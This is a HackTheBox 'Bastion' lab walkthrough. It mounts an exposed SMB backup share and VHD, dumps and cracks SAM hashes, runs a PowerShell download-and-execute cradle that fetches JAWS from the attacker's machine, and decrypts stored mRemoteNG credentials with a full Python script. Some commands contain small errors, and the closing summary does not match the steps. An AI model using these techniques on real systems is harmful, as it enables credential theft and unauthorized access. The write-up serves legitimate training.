HackTheBox Bastion Writeup
Add Hosts
Edit the /etc/hosts file and add the following entries:
10.10.10.134 bastion.htb
This ensures that your system can resolve the domain names bastion.htb to the correct IP address 10.10.10.134.
Script to add hosts automatically
ip="10.10.10.134"
domain="bastion.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV bastion.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 01:26 CEST
Nmap scan report for bastion.htb (10.10.10.134)
Host is up (0.051s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2024-09-14T01:26:46+02:00
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb2-time:
| date: 2024-09-13T23:26:43
|_ start_date: 2024-09-13T23:24:19
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Enumerating Samba Shares
Check available SMB shares:
smbclient -L //bastion.htb
Discovered Shares
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk <-- Interesting share
C$ Disk Default share
IPC$ IPC Remote IPC
Mount Samba Share
Mount the Backups share to a local directory:
sudo mkdir -p /mnt/smb
sudo mount -t cifs -o username=guest,ro //bastion.htb/Backups /mnt/smb
Extract the Virtual Machine Backup
List the files inside the backup:
7z l '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd'
Mount the VHD file as a partition:
it uses
libguestfsinstall it with your distro pkg manager
sudo mkdir -p /mnt/vhd
sudo guestmount --add '/mnt/smb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd' --inspector --ro /mnt/vhd
Extract Administrator Password
Copy the SAM and SYSTEM files to extract the hashes:
config="/mnt/vhd/Windows/System32/config"
sudo cp "$config"/SAM ./
sudo cp "$config"SYSTEM ./
secretsdump.py -sam SAM -system SYSTEM local
rm -rf SYSTEM SAM secret.txt
Extracted Hashes
Use crackstation.net to crack the hashes. You will find the hash for user L4mpje.
Use the Recovered Credentials
Pass the hash and list shares:
echo "Hash? -> " ; read HASH
smbmap -u L4mpje -p $HASH -H bastion.htb
Log in via SSH:
ssh l4mpje@bastion.htb
net user l4mpje
net user administrator
type Desktop\user.txt
System Information Gathering with JAWS
Use JAWS to enumerate potential privilege escalation vectors:
wget https://raw.githubusercontent.com/411Hall/JAWS/master/jaws-enum.ps1
echo "In the victim PC run -> powershell IEX(New-Object Net.WebClient).downloadString('http://"$(ip a | grep -A 2 "tun0:" | grep -oP '(?<=inet\s)\d+(\.\d+){3}')/jaws-enum.ps1"') "
sudo python3 -m http.server 80
rm -rf jaws-enum.ps1
Extract credentials from mRemoteNG configuration:
scp l4mpje@bastion.htb:"C:/Users/L4mpje/AppData/Roaming/mRemoteNG/confCons.xml" ./
Decrypt mRemoteNG Passwords
Use the repl to make life easier
#!/bin/python
import re, base64, hashlib, os, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def decrypt(mode, data, password):
if mode == 'CBC':
return cbc_decrypt(data, password)
elif mode == 'GCM':
return gcm_decrypt(data, password)
raise ValueError(f'Unknown mode {mode}')
def gcm_decrypt(data, password):
try:
salt, nonce, ciphertext, tag = data[:16], data[16:32], data[32:-16], data[-16:]
key = hashlib.pbkdf2_hmac('sha1', password, salt, 1000, dklen=32)
cipher = AES.new(key, AES.MODE_GCM, nonce)
cipher.update(salt)
return cipher.decrypt_and_verify(ciphertext, tag).decode()
except ValueError:
print('Error: Invalid master password or data integrity check failed.')
sys.exit(1)
def cbc_decrypt(data, password):
try:
iv, ciphertext = data[:16], data[16:]
key = hashlib.md5(password).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)
return unpad(cipher.decrypt(ciphertext), AES.block_size).decode()
except ValueError:
print('Error: Decryption failed, possibly due to incorrect padding or corrupted data.')
sys.exit(1)
def parse_and_decrypt(conf, password):
try:
mode_match = re.search('BlockCipherMode="([^"]*)"', conf)
mode = mode_match.group(1) if mode_match else 'CBC'
if mode not in ['CBC', 'GCM']:
print(f'Unknown mode {mode}.')
sys.exit(1)
if 'FullFileEncryption="true"' in conf:
encrypted_data = base64.b64decode(re.search('<.*>(.+)</mrng:Connections>', conf).group(1))
conf = decrypt(mode, encrypted_data, password.encode())
nodes = re.findall('<Node .+?>', conf)
for node in nodes:
name = re.search(' Name="([^"]*)"', node).group(1)
username = re.search(' Username="([^"]*)"', node).group(1)
hostname = re.search(' Hostname="([^"]*)"', node).group(1)
password_data = re.search(' Password="([^"]*)"', node)
decrypted_password = decrypt(mode, base64.b64decode(password_data.group(1)), password.encode()) if password_data else ""
print(f'Name: {name}, Hostname: {hostname}, Username: {username}, Password: {decrypted_password}')
except (AttributeError, TypeError, ValueError) as e:
print(f"Error processing XML: {e}")
sys.exit(1)
def main():
try:
file_path = 'confCons.xml'
if os.path.isfile(file_path):
with open(file_path, 'r') as file:
config_content = file.read()
print("Found confCons.xml in the current directory.")
else:
config_content = input("Enter mRemoteNG config XML: ")
parse_and_decrypt(config_content, 'mR3m')
except KeyboardInterrupt:
print("\nProcess interrupted by user. Exiting gracefully.")
sys.exit(0)
except Exception as e:
print(f"Unexpected error: {e}")
sys.exit(1)
if __name__ == "__main__":
main()
Obtain Root Access
Log in as Administrator:
ssh administrator@bastion.htb
type Desktop\root.txt
Cleanup
Unmount directories and remove temporary files:
sudo umount /mnt/smb
sudo umount /mnt/vhd
sudo rm -rf /mnt/smb /mnt/vhd confCons.xml
Summary
Bastion: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.